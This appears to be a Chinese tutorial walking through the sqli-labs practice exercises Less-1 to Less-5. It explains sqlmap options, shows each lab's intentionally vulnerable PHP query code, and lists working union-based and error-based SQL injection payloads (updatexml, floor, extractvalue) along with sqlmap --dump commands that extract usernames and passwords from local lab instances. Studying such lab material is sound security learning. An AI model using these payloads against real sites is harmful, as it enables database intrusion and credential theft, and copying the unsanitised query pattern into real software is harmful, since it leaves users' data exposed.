sql注入
就是指web运用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数代入数据库查询,攻击者可以构造不同的SQL语句来实现对数据库的任意操作。
当然,SQL注入按照不同的分类方法可以分为很多种,如报错注入、盲注、Union注入等。
(2条消息) SQL注入基础知识._zap sql注入_0e1G7的博客-CSDN博客
sqlmap
SQLmap是一个自动化的SQL注入工具,可用于检测和利用Web应用程序中的SQL注入漏洞。
其原理是通过构造恶意的SQL查询语句,利用应用程序的漏洞来执行SQL注入攻击。具体一点就是,SQLmap首先分析目标网站的结构和参数,尝试检测是否存在SQL注入漏洞。如果存在漏洞,它将尝试利用不同的技术(如布尔盲注、时间盲注、联合查询注入等)来获取数据或者直接对数据库进行修改。
主要步骤
1、 识别目标网站:SQLmap会对目标网站进行扫描,识别是否存在注入漏洞。
2、获取数据结构:如果目标网站存在注入漏洞,SQLmap会获取数据库的数据结构,包括表名、列名、数据类型等。
3、执行注入攻击:SQLmap会使用不同的注入技术来执行攻击,包括基于错误的注入、基于布尔盲注、基于时间盲注、基于联合查询注入等。
4、获取数据或者修改数据:一旦注入成功,SQLmap可以获取数据库中的数据,或者修改数据库中的数据。
几个重要参数:
-v REVBOSE信息级别:
0:只显示python错误以及严重的信息。
1:只显示sqlmap的基本信息,如版本号和版权信息等。(默认)
2:显示sqlmap的基本信息和调试信息,如 SQL 查询语句、HTTP 请求头和响应头等。
3:显示第二级别的信息,并且在请求和响应中包含更多的数据,如响应正文、cookies、headers 等。
4:显示第三级别的信息,并且在响应正文中包含所有的数据库查询结果。
5:显示第四级别的信息,并且在每个 HTTP 请求和响应中包含完整的数据
6:显示所有的信息,包括第五级别的信息和更多的调试信息,如 HTTP 请求体中的参数、发送的 SQL 查询语句等。
-risk-RISK 执行的测试风险级别:
1:仅对目标进行最基本的 SQL 注入测试,不包括时间基注入、布尔盲注入等高级技术,适用于对目标进行初步测试,快速了解其是否存在 SQL 注入漏洞的情况。
2:对目标进行深度 SQL 注入测试,包括时间基注入、布尔盲注入等高级技术,适用于对目标进行详细的测试,发现可能存在的 SQL 注入漏洞。
3:与级别 2 相同,但同时还会尝试进行更加敏感和危险的测试,如 SQL 查询文件系统、SQL shell 等,适用于对目标进行极其详细的测试,发现潜在的高级 SQL 注入漏洞。
-level-LEVEL 执行测试的等级:
1:仅进行最基本的 SQL 注入测试,不包括时间基注入、布尔盲注入等高级技术,适用于对目标进行初步测试,快速了解其是否存在 SQL 注入漏洞的情况。
2:对目标进行常见的 SQL 注入测试,包括时间基注入、布尔盲注入等基本技术,适用于对目标进行基本测试,发现可能存在的 SQL 注入漏洞。
3:与级别 2 相同,但同时还会尝试使用一些额外的 SQL 注入测试技术,如错误信息注入、堆叠查询等,适用于对目标进行详细的测试,发现潜在的高级 SQL 注入漏洞。
4:与级别 3 相同,但同时还会尝试使用更多的高级 SQL 注入测试技术,如基于时间的盲注入、基于报错的注入等,适用于对目标进行较为深入的测试,发现更难以利用的 SQL 注入漏洞。
5:与级别 4 相同,但同时还会尝试使用更多的高级 SQL 注入测试技术,如基于布尔的盲注入、联合查询注入等,适用于对目标进行最为深入和全面的测试,发现所有可能存在的 SQL 注入漏洞。
Less-1
(知识点:基于错误的GET单引号字符型注入,union查询和sqlmap方法)
直接看源码
<?php
//including the Mysql connect parameters.包括 Mysql 连接参数。
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables 取变量
if(isset($_GET['id'])) //判断GET获取的id不能为空
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.将连接参数记录到文件中进行分析。
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; //sql语句
echo $sql;
echo "<br>";
$result=mysql_query($sql); //发送一条 MySQL 查询。
$row = mysql_fetch_array($result);//函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false。
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
来看sql语句分析一下
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; //sql语句
这句话执行了我们sql的查询操作,通过GET方法获得的id,那么我们只需要将id提前使用单引号闭合就可以了,然后使用--+或者#注释后面的语句后面的语句就不会执行了,所以我们在使用常规注入找到回显点之后,就可以使用union联合查询执行我们想要使用的语句。
union联合查询
这题也没有什么过滤就直接来payload了,具体步骤看之前博客
?id=1%27%20order%20by%203--+
?id=-1%27%20union%20select%201,2,3--+
?id=-1%27%20union%20select%201,2,database()--+
#爆表
?id=-1%27%20union%20select%201,2,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())--+
#爆字段名
?id=-1%27%20union%20select%201,2,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)--+
#获取数据
?id=-1%27%20union%20select%201,2,(select%20group_concat(concat_ws("~",username%20,%20password))%20from%20users)--+
sqlmap
直接梭就行
sqlmap -u "url?id=1" -D security -T users -C username,password --dump --batch
Less-2
(知识点:基于错误的GET整型注入,同样两种方法)
操作和Less-1一样,一步步爆出用户名和密码,只不过闭合报错的条件改变了。直接看源码:
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
echo $sql;
echo "<br>";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else
{
echo "Please input the ID as parameter with numeric value";
}
?>
我们直接来看这一句sql语句,不需要我们去闭合了,直接使用联合查询就行,且没有过滤
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
直接来payload:
#手注
-1%20union%20select%201,2,(select%20group_concat(concat_ws("~",username%20,%20password))%20from%20users)--+
#sqlmap
python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=1 -D security -T users -C username,password --dump --batch
Less-3
(知识点:基于错误的GET单引号变形字符型注入,同样两种方法)
操作和之前一样,一步步爆出用户名和密码,只不过闭合报错的条件改变了。直接看源码:
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
echo $sql;
echo "<br>";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
我们直接来看这一句sql语句,我们去闭合')就行,直接使用联合查询就行,且没有过滤
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
直接来payload:
#手注
-1')%20union%20select%201,2,(select%20group_concat(concat_ws("~",username%20,%20password))%20from%20users)--+
#sqlmap
python sqlmap.py -u http://localhost/sqli-labs-master/Less-3/?id=1 -D security -T users -C username,password --dump --batch
Less-4
(知识点:基于错误的GET双引号字符型注入,同样两种方法)
操作和之前一样,一步步爆出用户名和密码,只不过闭合报错的条件改变了。直接看源码:
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
echo $sql;
echo "<br>";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
我们直接来看这一句sql语句,我们去闭合")就行,直接使用联合查询就行,且没有过滤
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
直接来payload:
#手注
-1")%20union%20select%201,2,(select%20group_concat(concat_ws("~",username%20,%20password))%20from%20users)--+
#sqlmap
python sqlmap.py -u http://localhost/sqli-labs-master/Less-4/?id=1 -D security -T users -C username,password --dump --batch
Less-5
(知识点:双注入GET单引号字符型报错注入,同样两种方法)
直接看源码
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
echo $sql;
echo "<br>";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
看到sql语句和echo出来的打印错误的错误函数,只要闭合了单引号就可以用报错注入
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
print_r(mysql_error());
报错注入的概念:
(1)通过floor报错 and (select 1 from (select count(*),concat((
payload),floor (rand(0)*2))x from information_schema.tables group by
x)a) 其中payload为你要插入的SQL语句 需要注意的是该语句将 输出字符长度限制为64个字符
(2)通过updatexml报错 and updatexml(1, payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效
(3)通过extractValue报错 and extractvalue(1, payload) 输出字符有长度限制,最长32位。
直接来payload及其解释:
用updatexml函数错误
1' union select updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
第一步(爆库):1' union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
第二步(报表):1' union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' limit 0,1),0x7e),1) --+
第三步(爆用户名):1' union select updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) --+
第四步(爆密码):1' union select updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+
省略三四步1' union select 1,2, (updatexml(1,concat(1,(select username from users limit 0, 1),1,(select password from users limit 0,1)),1)) %23
或者用floor报错 (需要多点几下才能出效果)
第一步(爆库):1' union select 1, count(*), concat((select database()), floor(rand()*2)) a from information_schema.tables group by a --+
第二步(爆表名):1' union select 1, count(*), concat((select group_concat(table_name) from information_schema.tables where table_schema = 'security'), floor(rand()*2)) a from information_schema.tables group by a %23
第三步(爆列名):1' union select 1, count(*), concat((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), floor(rand()*2)) a from information_schema.tables group by a %23
第四部(爆字段内容获取用户表的账号和密码):1' union select 1, count(*), concat((select concat(username,'~',password) from users limit 0,1), floor(rand()*2)) a from information_schema.tables group by a --+
其他账号密码更改limit后面的0为1,2,3,4就可以出来了。
用extractvalue报错
?id=-1'and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
数据库
?id=-1'and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e)) --+
爆出一个数据库
?id=-1'and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) --+
从当前数据库里爆出一个表名
?id=-1'and extractvalue(1,concat(0x7e,( select column_name from information_schema.columns where table_schema =database() and table_name='users' limit 0,1 ),0x7e)) --+
从当前数据库里的" users "表里爆出一个字段名来
?id=-1'and extractvalue(1,concat(0x7e,( select concat(id,0x7e,username,0x7e,password) from users limit 0,1),0x7e)) --+
从" users "表里对应的列名中爆出一个数据来
用sqlmap
使用-o参数优化,--batch参数进行跳过,--threads参数开启更多线程
添加--technique参数加速,--dbms指定
python sqlmap.py -u http://localhost/sqli-labs-master/Less-5/?id=1 --dbms mysql --technique E -o --threads=10 -D security -T users -C username,password --dump --batch